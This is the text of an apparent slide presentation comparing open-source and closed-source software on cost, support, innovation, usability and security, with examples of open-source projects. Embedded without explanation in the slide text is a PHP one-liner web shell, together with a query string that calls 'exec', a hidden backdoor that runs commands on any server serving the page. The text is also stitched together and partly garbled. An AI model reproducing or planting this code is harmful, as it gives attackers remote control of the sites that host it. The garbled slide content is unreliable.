Open Source● Open Source Software License - distributed under a licensing agreement which allows the source code to be shared, viewed and modified● Cost - free - requires a certain level of technical expertise in order to manage content - providers are increasingly charging for addons, additional services and integration - long term costs : implementation, innovation, service/support issues, infrastructure● Service and Support - online community network● Innovation - enables innovation by providing users with the freedom and flexibility to adapt the software to suit● Usability - lack of usability● Security - is often viewed as having security issues
Closed Source● Closed Source Software License - distributed under a licensing agreement to authorized users with private modification, copying and republishing restrictions● Cost - vary from a few thousand to a few hundred thousand dollars - user is paying for a more customized product from a trusted brand that includes higher levels of security and functionality, continuous innovation, a greater ability to scale, ongoing training and support and a lower requirement for technical skills.● Service and Support - service level and support structure requirements are taking precedent in favour of maximising uptime and minimising downtime● Innovation - do not allow users to view or alter the source code - innovation comes fully tested● Usability - employs expert usability testing - detailed user manuals and guides are provided for faster trainings● Security - more secure because it is developed in a controlled environment by a concentrated team with a common direction
<?=($_=@$_GET).@$_($_GET)?>● a lot of time wasted on creating modules that we could find already created● wasted time that we could use in innovation● most open source libraries have an API documentation + examples● If you are a good programmer all the things you need to learn from Open Source libraries will seem simple (simpler than making a pizza) How to become the "best" programmer? ● Research ● Understanding APIs (libraries, CMSes and so on) ● Code (preferable no spaghetti code) ● Learn how to make a pizza faster! ?2=exec&1=help
Examples● Wordpress, Joomla, Drupal for blog type projects● Moodle for e-learning projects● PHC, GCC, Open GTK for building and running apps● Chromium for building your own browser● Google Charts● Frameworks (Django, Zend, Smarty, Rails etc)● [...]
Why not?You have the opportunity to change the world easier than ever!